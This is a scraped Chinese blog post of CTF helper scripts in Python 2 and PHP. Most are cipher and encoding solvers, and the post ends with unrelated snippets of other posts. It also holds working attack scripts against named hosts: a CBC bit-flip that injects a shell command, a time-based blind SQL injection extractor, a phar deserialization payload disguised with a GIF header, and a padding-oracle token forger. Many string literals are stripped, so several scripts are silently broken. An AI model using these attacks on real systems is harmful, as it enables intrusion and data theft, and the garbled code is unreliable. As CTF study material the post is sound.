CTF辅助脚本
首先推荐这篇文章,网上有多次转载,这是我见过日期比较早的 CTF中那些脑洞大开的编码和加密
凯撒密码
flag='flag{abcdef}'
c=''
n=20
for i in flag:
if 'a' <= i <='z':
i=chr(((ord(i)-ord('a'))+n)%26+ord('a'))
c+=i
print c
栅栏密码
n= 5
m = "flag{0123456789abcdef}"
c=''
for x in range(n):
for i in range(len(m)):
if((n - i + x) % n == 0):
c+=m[i]
print c n=5
m=''
c=list(c)
zero=(n-len(c))%n
n=(len(c)+zero)/n
if zero != 0:
for i in range(1,zero):
c.insert(-n*i+1,'')
c.append('')
for x in range(n):
for i in range(len(c)):
if((n - i + x) % n == 0):
m+=c[i]
if zero!= 0:
m=m[:-zero]
print m
曼彻斯特编码与解码
flag = bin(int('flag{0123456789abcdef}'.encode('hex'),16))[2:]
s=''
for i in range(len(flag)):
if flag[i]=='':
s+=''
else:
s+=''
print hex(int(s,2))[2:-1]
#296969a56956696a6a9a5a555a565a595a5a5a655a665a695a6a5a955a9669566959695a6965696669696aa6
r=""
for i in range(len(s)/2):
if s[i*2:i*2+2] == '':
r += ''
else:
r += ''
print hex(int(r,2))[2:-1].decode('hex')
#flag{0123456789abcdef}
差分曼彻斯特编码与解码
#coding=utf-8
flag = bin(int('flag{0123456789abcdef}'.encode('hex'),16))[2:]
s='' # or '10'
for i in range(len(flag)):
if flag[i]=='':
s+=s[-2:][::-1]
else:
s+=s[-2:]
print hex(int(s,2))[2:-1]
#6565659565569a99665959555956a6a55959596aa696a69aa69959aaa6569aa9655a9aa69a95656965656669
r=""
tmp = 0
for i in xrange(len(s)/2):
c = s[i*2]
if c == s[i*2 - 1]:
r += ''
else:
r += ''
print hex(int(r,2))[2:-1].decode('hex')
#flag{0123456789abcdef}
lsb隐写
#coding=utf-8
from PIL import Image
import binascii
import random im_path = 'timg.jpg'
im = Image.open(im_path)
width, height = im.size
newImg = Image.new("RGBA",(width, height),(255,255,255,120))
for i in range(0,height):
for j in range(0,width):
a,b,c=im.getpixel((j,i))
newImg.putpixel((j,i),(a,b,c,180))
newImg.save('new.bmp','PNG') flag=binascii.b2a_hex('flag{123456}')
flag= bin(int(flag,16))[2:]
flag= ''*(8-len(flag)%8)+flag
print flag newImg = Image.new("RGB",(width, height),(0,0,0))
for i in range(0,height):
for j in range(0,width):
a,b,c=im.getpixel((j,i))
try: #将末尾像素置0后写入
newImg.putpixel((j,i),(a-a%2+int(flag[i*width+j]),b-b%2+int(flag[i*width+j]),c-c%2+int(flag[i*width+j])))
except:
try: #其余像素奇偶随机
newImg.putpixel((j,i),(a-random.randint(0,1),b-random.randint(0,1),c-random.randint(0,1)))
except:
newImg.putpixel((j,i),(a,b,c))
newImg.save('new.png','PNG')
cbc字节翻转攻击
import requests
enc='2363303cf2fae8b1bbe443fe2d12947e5abcf9c0ceb12ce5fd3a43504de0bf0621b9917a715dad17f828ff0ace6ec816'.decode('hex')
m='Welcome to the code system!This is a test string'
fake='uu=admin&ff=php://input&ccc=nl *' iv=enc[16:32]
m1=m[32:]
fake1=fake[16:]
fake_iv='' for i in range(16):
fake_iv+=chr(ord(iv[i])^ord(fake1[i])^ord(m1[i]))
enc=enc[:16]+fake_iv+enc[32:] m=requests.get('http://race.taropowder.cn:20002/?s='+enc.encode('hex')).content iv=enc[:16]
m2=m[16:32]
fake2=fake[:16] fake_iv=''
for i in range(16):
fake_iv+=chr(ord(iv[i])^ord(fake2[i])^ord(m2[i]))
enc=fake_iv+enc[16:] m=requests.post('http://race.taropowder.cn:20002/?s='+enc.encode('hex'),data='phpinfo').content print m
flask session伪造
from flask import Flask, session
import uuid
import urllib.request
app = Flask(__name__)
app.config['SECRET_KEY']='' @app.route('/')
def index():
session['username']='user'
session['isadmin']=''
return 'hello' if __name__ == "__main__":
app.run(debug=True,port=8000,host="0.0.0.0")
RSA demo
from gmpy2 import *
e=65537
p=56225103425920179745019828423382255030086226600783237398582720244250840205090747144995470046432814267877822949968612053620215667790366338413979256357713975498764498045710766375614107934719809398451422359883451257033337168560937824719275885709824193760523306327217910106187213556299122895037021898556005848927
q=56225103425920179745019828423382255030086226600783237398582720244250840205090747144995470046432814267877822949968612053620215667790366338413979256357713975498764498045710766375614107934719809398451422359883451257033337168560937824719275885709824193760523306327217910106187213556299122895037021898556005848447
n=p*q
c=631583911592660652215412683088688785438938386403323323131247534561958531288570612134139288090533619548876156447498627938626419617968918299212863936839701943643735437264304062828205809984533592547599060829451668240569384130130080928292082888526567902695707215660020201392640388518379063244487204881439591813398495285025704285781072987024698133147354238702861803146548057736756003294248791827782280722670457157385205787259979804892966529536902959813675537028879407802365439024711942091123058305460856676910458268097798532901040050506906141547909766093323197363034959926900440420805768716029052885452560625308314284406
x=long((p-1) * (q-1))
d= invert(e,x)
m=pow(c,d,n)
print hex(m)[2:].decode('hex')
SQL注入辅助
import requests
import time
url='http://172.16.124.149/Less-10/?id='
flag=''
for i in range(1,20):
left=33
right=128 while right-left!=1:
mid=(left+right)/2
payload='0"^(substr((select+binary+flag+from+flag.flag),{i},1)>binary+{mid}+and+sleep(0.02))%23'.format(i=i,mid=hex(mid))
t1=time.time()
r=requests.get(url=url+payload)
t2=time.time()
if t2-t1 > 0.2:
left=mid
else:
right=mid
flag+=chr(right)
print flag
phar反序列化demo
<?php
//把要进行反序列化的对象放在此处
class foo
{
var $ha = 'echo "ok";';
function __destruct()
{
eval($this->ha);
}
}
//生成对应可被利用的对象
$o = new foo();
$o->ha='echo "error";';
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头用以欺骗检测
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
padding oracel
import requests
import urllib host='124.193.74.211'
port=''
#host='127.0.0.1'
#port='80'
url='http://%s:%s/login.php'%(host,port)
session = requests.session()
session.post(url=url,data={'username':'admin','password':'admin'}) im=[]
for i in range(1,17):
try:
s=''
xx=''
for j in im[::-1]:
xx+=chr(i^j)
for j in range(256):
s='\xff'*(16-i)+chr(j)+xx
s=s.encode('base64')
session.cookies.set('token',urllib.quote(s),domain=host,path='/')
x=session.get(url).text
if 'Error' not in x:
im.append(j^i)
print s.decode('base64').encode('hex')
break
print im
except Exception as e:
print e,'\n' for j in range(256): s='\x0f'*15
token=''
for i in range(15):
token+=chr(im[::-1][i]^ord(s[i]))
token=chr(j)+token
token=token.encode('base64')
session.cookies.set('token',urllib.quote(token),domain=host,path='/')
x=session.get(url).text
if 'Error' in x:
im.append(j^ord(''))
print im
break im=im[::-1]
s='onepiece'+chr(8)*8
token=''
for i in range(16):
token+=chr(im[i]^ord(s[i]))
token=token.encode('base64')[:-1]
session.cookies.set('token',urllib.quote(token),domain=host,path='/')
x=session.get(url).text
print session.cookies,x
爆破图片crc
import binascii for i in range(16**4):
i=hex(i)[2:].zfill(4)
for j in range(16**4):
j=hex(j)[2:].zfill(4)
s= '%08x' % (binascii.crc32('IHDR'+'0000{i}0000{j}0802000000'.format(i=i,j=j).decode('hex')) & 0xffffffff)
if s=='53d1578a':
print 'x:',i,'y:',j,'crc:',s
print 'x:',i
CTF辅助脚本的更多相关文章
- gcov辅助脚本
gcov辅助脚本(金庆的专栏)代码覆盖测试查看结果时,需要进入代码所在目录,调用gcov,然后vi查看.因为代码目录结构复杂,进出子目录太麻烦,所以用以下脚本直接生成与查看.一般是用TSVN列出有更改 ...
- [Python] 用python做一个游戏辅助脚本,完整思路
一.说明 简述:本文将以4399小游戏<宠物连连看经典版2>作为测试案例,通过识别小图标,模拟鼠标点击,快速完成配对.对于有兴趣学习游戏脚本的同学有一定的帮助. 运行环境:Win10/Py ...
- CTF写脚本
今天总结一下CTF如何写脚本快速得分....(比较菜,能力有限,大佬勿喷) 所谓的写脚本得分,就是利用了 python爬虫的思想,如果之前没有听说过的话,可以去爬虫的相关语法.如果是看网上的视频的话, ...
- py-faster-rcnn几个辅助脚本
py-faster-rcnn本身代码很棒. 不过使用它的时候,还是需要自己写一些脚本,作为辅助. 1 所有.py文件顶部添加utf8编码声明.因为有时候需要添加中文注释,不声明编码会报错 #inser ...
- Acunetix Web Vulnerability Scanner Python辅助脚本
WvsScannerQueue.pyVersion: Python 2.7.* Acunetix Web Vulnerability Scanner 辅助Python脚本的第一个版本.功能:扫描URL ...
- 编写简单的辅助脚本来在 Google 表格上记账
我的第二份工作入职在即,而这一次则真的是完全跑到了一个陌生的城市了.租房,购置相关用品,还尚未工作钱就花掉一堆.尽管我个人之前一直都没有过记账的习惯,但为了让自己能够搞清楚自己的钱都花在哪里了,于是还 ...
- 简陋的swift carthage copy-frameworks 辅助脚本
在看 carthage 时,其中需要配置一个 copy-frameworks 脚本,此脚本特殊的地方,需要手动填写 Input Files 和 Output Files.一个一个填写,很糟心~ 观察了 ...
- [W3bSafe]Metasploit溢出渗透内网主机辅助脚本
文章来源i春秋 脚本用Shell编写 有的内网特别脆弱 本脚本主要就是 测试的话方便一点 输入内网网关就能调用Metasploit全部模块测试整个内网 运行截图<ignore_js_op ...
- " XSS易容术---bypass之编码混淆篇+辅助脚本编写"
一.前言本文原创作者:vk,本文属i春秋原创奖励计划,未经许可禁止转载!很多人对于XSS的了解不深.一提起来就是:“哦,弹窗的”.”哦,偷cookie的.”骚年,你根本不知道什么是力量.虽然我也不知道 ...
随机推荐
- Vue页面手动刷新,导航栏激活项还原到初始状态问题解决方案
场景描述:在页面中存在顶部导航和左侧导航,左侧导航和右侧内容区使用了命名视图实现,点击左侧导航的链接时,右侧内容区相应显示不同组件内容.问题:在当前链接手动刷新浏览器(例如:浏览器地址为/enterp ...
- springmvc模式下的上传和下载
接触了springmvc模式后,对上一次的上传与下载进行优化, 上次请看这里. 此处上传的功能依旧是采用表格上传.文件格式依旧是 <form action="${pageContext ...
- Image Processing and Analysis_8_Edge Detection:Statistical edge detection_ learning and evaluating edge cues——2003
此主要讨论图像处理与分析.虽然计算机视觉部分的有些内容比如特 征提取等也可以归结到图像分析中来,但鉴于它们与计算机视觉的紧密联系,以 及它们的出处,没有把它们纳入到图像处理与分析中来.同样,这里面也有 ...
- 网络设备驱动程序-netdevice结构体关键部分注释
仅仅做个记录,内核4.19 struct net_device { char name[IFNAMSIZ]; //网络设备的名称 struct hlist_node name_hlist; char ...
- (15)while循环
循环结构 : while 循环结构的特点:减少代码的冗余,提高代码的效率注意:只要是循环一定要有判断条件退出循环,不然就成了死循环,程序会一直在内存执行,直到内存耗尽,暴毙..... 语法形式: wh ...
- Java基础 IO流的文件和目录的五类主要操作
笔记: /** IO流的 文件和目录的操作 * 1.路径需要 需要两个反斜杠 或者一个单斜杠! * 绝对路径:包括盘符在内的完整的路径名! * 相对路径:在当前目录文件下的路径! * 2.File 是 ...
- Python 多版本管理利器 pythonbrew
在$HOME目录中管理python安装 简介 pythonbrew是受 perlbrew 和 rvm 启发,在用户的$HOME目录中进行python构建和安装自动化的项目. 另一衍生版本 : pyth ...
- Linux系统进程的知识总结,进程与线程之间的纠葛...
来源:嵌入式ARM 当一个程序开始执行后,在开始执行到执行完毕退出这段时间内,它在内存中的部分就叫称作一个进程. Linux 是一个多任务的操作系统,也就是说,在同一时间内,可以有多个进程同时执行.我 ...
- browsersync简单使用和原理分析
1. 静态文件模式 browser-sync start --server --files "css/*.css" "*.html" 2. 代理模式 brows ...
- 6、Spring Boot 2.x 集成 MyBatis
1.6 Spring Boot 2.x 集成 MyBatis 简介 详细介绍如何在Spring Boot中整合MyBatis,并通过注解方式实现映射. 完整源码: 1.6.1 创建 spring-bo ...